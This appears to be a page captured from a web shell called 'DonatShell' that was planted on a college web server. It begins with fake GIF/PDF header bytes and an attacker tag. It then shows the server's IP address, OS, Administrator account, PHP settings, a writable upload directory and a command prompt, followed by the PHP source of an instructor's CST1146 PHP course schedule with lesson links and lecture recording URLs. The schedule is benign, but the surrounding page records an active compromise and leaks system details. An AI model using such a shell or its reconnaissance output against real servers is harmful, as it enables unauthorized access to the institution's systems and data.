GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Schedule/CST1146_Schedule.phpinc
<?
// /JimMartinson/CST1146/Schedule/CST1146_Schedule.phpinc
#if ( $_SESSION['userId'] == 1 ) include('JimMartinson/ScheduleCode.phpinc');
$week = 0;
?>
<fieldset><legend><?=$title?></legend>
<? require('JimMartinson/WebMeetingLink.phpinc'); ?>
<ol start="1">
<!-- Week 1: Wednesday 8/25 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/mViVmfzlVYcNu-Q6wNqVcnNu-9Ab9P2Jvo-kg07igysx9R-ovXOgPnoeZNMwT1d5.mKFOO2WGIjWidC6u?startTime=1629741773000','text'),array('URL','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 8/25 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<? require('JimMartinson/Schedule_week1.phpinc'); ?>
		</li>
		<li>
			<? require('JimMartinson/Schedule_week1_Assignments_Begin.phpinc'); ?>
				<? /** / Insert other week 1 assignments in <li></li> tags below. /**/ ?>
				<li>Read <a href="https://www.w3schools.com/php/default.asp">PHP Tutorial</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_intro.asp">PHP Introduction</a>.</li>
				<li>Browse <a href="https://kinsta.com/blog/php-editor/">23 Best PHP Editors and IDEs</a>.</li>
				<li>Read <a href="https://httpd.apache.org/">Apache HTTP Server Project</a>.</li>
				<li>Read <a href="https://www.apachehaus.com/">The Apache Haus</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_install.asp">PHP Installation</a>.</li>
			<? require('JimMartinson/Schedule_week1_Assignments_End.phpinc'); ?>
		</li>
	</ul>
</li><!-- END Week 1 -->
<!-- Week 2: Wednesday 9/01 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/Sb5DagLRpB8CH6vcI-tQWy3DO25BRGQL7t_99ZfJ3P35rGifeVNEXMmM9j3e5J02._3e89MJAJGd7ca8O?startTime=1630346409000','text'),array('https://minnstate.zoom.us/rec/share/Sb5DagLRpB8CH6vcI-tQWy3DO25BRGQL7t_99ZfJ3P35rGifeVNEXMmM9j3e5J02._3e89MJAJGd7ca8O?startTime=1630351546000','(Lab 1 Install Apache)'),array('https://minnstate.zoom.us/rec/share/Sb5DagLRpB8CH6vcI-tQWy3DO25BRGQL7t_99ZfJ3P35rGifeVNEXMmM9j3e5J02._3e89MJAJGd7ca8O?startTime=1630353271000','(Lab 2 Install PHP)'),array('https://minnstate.zoom.us/rec/share/Sb5DagLRpB8CH6vcI-tQWy3DO25BRGQL7t_99ZfJ3P35rGifeVNEXMmM9j3e5J02._3e89MJAJGd7ca8O?startTime=1630354528000','(Labs on a MAC)'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 9/01 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/default.asp">PHP Tutorial</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_intro.asp">PHP Introduction</a>.</li>
				<li>Discuss <a href="https://kinsta.com/blog/php-editor/">23 Best PHP Editors and IDEs</a>.</li>
				<li>Discuss <a href="https://httpd.apache.org/">Apache HTTP Server Project</a>.</li>
				<li>Discuss <a href="https://www.apachehaus.com/">The Apache Haus</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_install.asp">PHP Installation</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(1)?></li>
				<li><?=labLink(2)?></li>
				<li>Read <a href="https://www.w3schools.com/php/php_syntax.asp">PHP Syntax</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_comments.asp">PHP Comments</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_variables.asp">PHP Variables</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_variables_scope.asp">PHP Variables Scope</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_echo_print.asp">PHP echo and print Statements</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 2 -->
<!-- Week 3: Monday 9/06 (Labor Day) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9/06 	1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?> <b>School closed</b> Labor Day.
		</li>
	</ul>
</li><!-- END Week 3 -->
<!-- Week 4: Wednesday 9/15 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/7ij9aNlAqOwBLyNX8dp7gN87q7TkxpOPzH7hd7k184cuadARz6D2pU429b9XIyeT.9n6HVbe4hu_hc1so?startTime=1631556006000','text'),array('URL','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 9/15 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_syntax.asp">PHP Syntax</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_comments.asp">PHP Comments</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_variables.asp">PHP Variables</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_variables_scope.asp">PHP Variables Scope</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_echo_print.asp">PHP echo and print Statements</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(3)?></li>
				<li>Read <a href="https://www.w3schools.com/php/php_datatypes.asp">PHP Data Types</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_string.asp">PHP Strings</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_numbers.asp">PHP Numbers</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_constants.asp">PHP Constants</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_operators.asp">PHP Operators</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 4 -->
<!-- Week 5: Wednesday 9/22 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
		<b>Class canceled today.</b> I am home sick.
</li><!-- END Week 5 -->
<!-- Week 6: Wednesday 9/29 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/0X6J-XDMSSmP1qxVYSm6BkbT8B8uLZY7fKT26SUDphFp0xru0FlYWfLCqKrYIG8.Q0qyFUBrwNfprVkl?startTime=1632765565000','text'),array('https://minnstate.zoom.us/rec/share/0X6J-XDMSSmP1qxVYSm6BkbT8B8uLZY7fKT26SUDphFp0xru0FlYWfLCqKrYIG8.Q0qyFUBrwNfprVkl?startTime=1632771960000','text'),array('https://minnstate.zoom.us/rec/share/0X6J-XDMSSmP1qxVYSm6BkbT8B8uLZY7fKT26SUDphFp0xru0FlYWfLCqKrYIG8.Q0qyFUBrwNfprVkl?startTime=1632773671000','(Lab 4 demo)'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 9/29 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_datatypes.asp">PHP Data Types</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_string.asp">PHP Strings</a> and <a href="https://www.php.net/manual/en/ref.strings.php">String Functions</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_numbers.asp">PHP Numbers</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_constants.asp">PHP Constants</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_operators.asp">PHP Operators</a>.</li>
				<li>Discuss spaces vs tabs in code and blank lines before !DOCTYPE.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(4)?></li>
				<li>Read <a href="https://www.w3schools.com/php/php_if_else.asp">PHP if...else...elseif Statements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_switch.asp">PHP switch Statement</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_looping.asp">PHP Loops</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 6 -->
<!-- Week 7: Wednesday 10/06 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/CltZTkBKmeoR0bcrsqFZkemijDtlrdBZOnLGIZe0kc0logQs3wWG3Xk0-PI4Mc2P.2mkxoddJTjSkM1Ko?startTime=1633370417000','text'),array('https://minnstate.zoom.us/rec/share/CltZTkBKmeoR0bcrsqFZkemijDtlrdBZOnLGIZe0kc0logQs3wWG3Xk0-PI4Mc2P.2mkxoddJTjSkM1Ko?startTime=1633375810000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 10/06 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_if_else.asp">PHP if...else...elseif Statements</a>.</li>
				<li>Review <a href="https://www.w3schools.com/php/php_operators.asp">Conditional assignment operators</a>.</li>
				<li>Discuss <a href="https://www.phptutorial.net/php-tutorial/php-ternary-operator/">PHP Ternary Operator</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/migration70.new-features.php">Null coalescing operator</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_switch.asp">PHP switch Statement</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_looping.asp">PHP Loops</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(5)?></li>
				<li>Read <a href="https://www.w3schools.com/php/php_functions.asp">PHP Functions</a>.</li>
				<li>Browse <a href="https://www.php.net/manual/en/indexes.functions.php">Function and Method listing</a>.</li>
				<li>Browse <a href="https://www.exakat.io/en/top-100-php-functions/">Top 100 PHP functions</a>.</li>
				<li>Read <a href="https://www.php.net/manual/en/functions.variable-functions.php">Variable functions</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_arrays.asp">PHP Arrays</a>.</li>
				<li>Read <a href="https://www.php.net/manual/en/language.types.array.php">Arrays</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_superglobals.asp">PHP Global Variables - Superglobals</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 7 -->
<!-- Week 8: Wednesday 10/13 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/n3alREVN1oOxCS7kUn1EGl3orl3HN9ongFs7xc-nRawJ63qyWnRQpIRi6mkBnftD.dwAOcJgcji38jGOX?startTime=1633975462000','text'),array('https://minnstate.zoom.us/rec/share/n3alREVN1oOxCS7kUn1EGl3orl3HN9ongFs7xc-nRawJ63qyWnRQpIRi6mkBnftD.dwAOcJgcji38jGOX?startTime=1633980425000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 10/13 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss html code in php files vs using php to output html: <a href="https://softwareengineering.stackexchange.com/questions/180501/which-is-better-to-include-html-inside-php-code-or-outside-it">Whick is better</a>, <a href="https://www.thoughtco.com/php-with-html-2693952">Same Page</a>, and <a href="https://www.ntchosting.com/encyclopedia/scripting-and-programming/php/php-in/">PHP in HTML</a>.</li>
				<li>Discuss <a href="https://tonyshowoff.com/articles/casting-int-faster-than-intval-in-php/">Casting int faster than intval() in PHP</a> and <a href="https://hakre.wordpress.com/2010/05/13/php-casting-vs-intval/">PHP: Casting vs. intval()</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_functions.asp">PHP Functions</a>. <a href="../Resources/FunctionList.txt">Function list</a> .<a href="https://www.w3schools.com/php/php_ref_overview.asp">Function categories</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/indexes.functions.php">Function and Method listing</a>.</li>
				<li>Discuss <a href="https://www.exakat.io/en/top-100-php-functions/">Top 100 PHP functions</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/functions.variable-functions.php">Variable functions</a>.</li>
				<li>Discuss PHP Arrays:.
					<ol>
						<li>Discuss <a href="https://www.w3schools.com/php/php_arrays.asp">PHP Arrays</a>.</li>
						<li>Discuss <a href="https://www.w3schools.com/php/php_arrays_indexed.asp">PHP Indexed Arrays</a>.</li>
						<li>Discuss <a href="https://www.w3schools.com/php/php_arrays_associative.asp">PHP Associative Arrays</a>.</li>
						<li>Discuss <a href="https://www.w3schools.com/php/php_arrays_multidimensional.asp">PHP Multidimensional Arrays</a>.</li>
						<li>Discuss <a href="https://www.w3schools.com/php/php_arrays_sort.asp">PHP Sorting Arrays</a>.</li>
					</ol>
				</li>
				<li>Discuss <a href="https://www.php.net/manual/en/language.types.array.php">Arrays</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_superglobals.asp">PHP Global Variables - Superglobals</a>.
					<ul>
						<li> <a href="https://www.w3schools.com/php/php_superglobals_globals.asp">w3schools.com $GLOBALS</a>.		<a href="https://www.php.net/manual/en/reserved.variables.globals.php">php.net $GLOBALS</a>.</li>
						<li> <a href="https://www.w3schools.com/php/php_superglobals_server.asp">w3schools.com $_SERVER</a>.		<a href="https://www.php.net/manual/en/reserved.variables.server.php">php.net $_SERVER</a>.</li>
						<li> <a href="https://www.w3schools.com/php/php_superglobals_request.asp">w3schools.com $_REQUEST</a>.	<a href="https://www.php.net/manual/en/reserved.variables.request.php">php.net $_REQUEST</a>.</li>
						<li><a href="https://www.w3schools.com/PHP/php_superglobals_post.asp">w3schools.com $_POST</a>.					<a href="https://www.php.net/manual/en/reserved.variables.post.php">php.net $_POST</a>.</li>
						<li><a href="https://www.w3schools.com/php/php_superglobals_get.asp">w3schools.com $_GET</a>.						<a href="https://www.php.net/manual/en/reserved.variables.get.php">php.net $_GET</a>.</li>
						<li><a href="https://www.w3schools.com/php/php_file_upload.asp">w3schools.com $_FILES</a>.							<a href="https://www.php.net/manual/en/reserved.variables.files.php">php.net $_FILES</a>.</li>
						<li><a href="https://www.tutorialspoint.com/php-env">tutorialspoint.com $_ENV</a>.											<a href="https://www.php.net/manual/en/reserved.variables.environment.php">php.net $_ENV</a>.</li>
						<li><a href="https://www.w3schools.com/php/php_cookies.asp">w3schools.com $_COOKIE</a>.									<a href="https://www.php.net/manual/en/reserved.variables.cookies.php">php.net $_COOKIE</a>.</li>
						<li><a href="https://www.w3schools.com/php/php_sessions.asp">w3schools.com $_SESSION</a>.								<a href="https://www.php.net/manual/en/reserved.variables.session.php">php.net $_SESSION</a>.</li>
					</ul>
				</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(6)?></li><!-- Arrays -->
				<li>Read <a href="https://www.w3schools.com/php/php_includes.asp">PHP Include Files</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_file.asp">PHP File Handling</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_file_open.asp">PHP File Open/Read/Close</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_file_create.asp">PHP File Create/Write</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 8 -->
<!-- Week 9: Wednesday 10/20 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/RDoTmqOG4Dx2BVG6kKQ4MmXYKGs8kzdo7R5N1M9qPp9Z2_C0mGz1sx4m4iL-mc6v.iuTwWeNSakClApfq?startTime=1634579995000','text'),array('https://minnstate.zoom.us/rec/share/RDoTmqOG4Dx2BVG6kKQ4MmXYKGs8kzdo7R5N1M9qPp9Z2_C0mGz1sx4m4iL-mc6v.iuTwWeNSakClApfq?startTime=1634586309000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 10/20 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_includes.asp">PHP Include Files</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/function.require.php">php.net require</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/function.require-once.php">php.net require_once</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_file.asp">PHP File Handling</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_file_open.asp">PHP File Open/Read/Close</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_file_create.asp">PHP File Create/Write</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/function.fopen.php">php.net fopen</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(7)?></li><!-- Requiring files -->
				<li>Read <a href="https://www.w3schools.com/php/php_forms.asp">PHP Form Handling</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_form_required.asp">PHP Forms - Required Fields</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_form_complete.asp">PHP Complete Form Example</a>.</li>
				<li>Read <a href="https://www.php.net/manual/en/tutorial.forms.php">php.net Dealing with Forms</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 9 -->
<!-- Week 10: Wednesday 10/27 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/m8le83kqOjtl9vHpwyXORycOofxQ0n-8tEYP_KBpHtoZLUGa4DGEx8RU_iCMgcsC.e9XdwTT7jslllpyt?startTime=1635184811000','text'),array('https://minnstate.zoom.us/rec/share/m8le83kqOjtl9vHpwyXORycOofxQ0n-8tEYP_KBpHtoZLUGa4DGEx8RU_iCMgcsC.e9XdwTT7jslllpyt?startTime=1635190888000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 10/27 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_forms.asp">PHP Form Handling</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_form_required.asp">PHP Forms - Required Fields</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_form_complete.asp">PHP Complete Form Example</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/tutorial.forms.php">php.net Dealing with Forms</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(8)?></li><!-- Forms -->
				<li>Read <a href="https://www.w3schools.com/php/php_form_validation.asp">PHP Form Validation</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_form_url_email.asp">PHP Forms - Validate E-mail and URL</a>.</li>
				<li>Read <a href="https://www.sitepoint.com/form-validation-with-php/">Form Validation with PHP</a>.</li>
				<li>Read <a href="http://talkerscode.com/webtricks/validate%20the%20form%20data%20before%20and%20after%20submitting%20the%20form.php">Validate The Form Data Before And After Submitting</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_filter.asp">PHP Filters</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_filter_advanced.asp">PHP Filters Advanced</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 10 -->
<!-- Week 11: Wednesday 11/03 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/i5qv4KqARhfHjzEcNY2sASqyQai6yWR8IBNaPk3TkXPmmZZEFznjM48WPwmu264-.sAlqqMEbc2sGJLrX?startTime=1635789607000','text'),array('https://minnstate.zoom.us/rec/share/i5qv4KqARhfHjzEcNY2sASqyQai6yWR8IBNaPk3TkXPmmZZEFznjM48WPwmu264-.sAlqqMEbc2sGJLrX?startTime=1635796840000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 11/03 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_form_validation.asp">PHP Form Validation</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_form_url_email.asp">PHP Forms - Validate E-mail and URL</a>.</li>
				<li>Discuss <a href="https://www.sitepoint.com/form-validation-with-php/">Form Validation with PHP</a>.</li>
				<li>Discuss <a href="http://talkerscode.com/webtricks/validate%20the%20form%20data%20before%20and%20after%20submitting%20the%20form.php">Validate The Form Data Before And After Submitting</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_filter.asp">PHP Filters</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_filter_advanced.asp">PHP Filters Advanced</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(9)?></li><!-- Form validation -->
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_intro.asp">PHP MySQL Database</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_connect.asp">PHP Connect to MySQL</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_create.asp">PHP Create a MySQL Database</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_create_table.asp">PHP MySQL Create Table</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_insert.asp">PHP MySQL Insert Data</a>.</li>
				<li>Read <a href="https://websitebeaver.com/php-pdo-vs-mysqli">PDO vs. MySQLi</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 11 -->
<!-- Week 12: Wednesday 11/10 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636398009000','(Lab 10 demo)'),array('https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636398993000','(Lab 11 PHP/MySQL configuration)'),array('https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636399732000','text'),array('https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636403525000','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 11/10 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_intro.asp">PHP MySQL Database</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_connect.asp">PHP Connect to MySQL</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_create.asp">PHP Create a MySQL Database</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_create_table.asp">PHP MySQL Create Table</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_insert.asp">PHP MySQL Insert Data</a>.</li>
				<li>Discuss <a href="https://websitebeaver.com/php-pdo-vs-mysqli">PDO vs. MySQLi</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
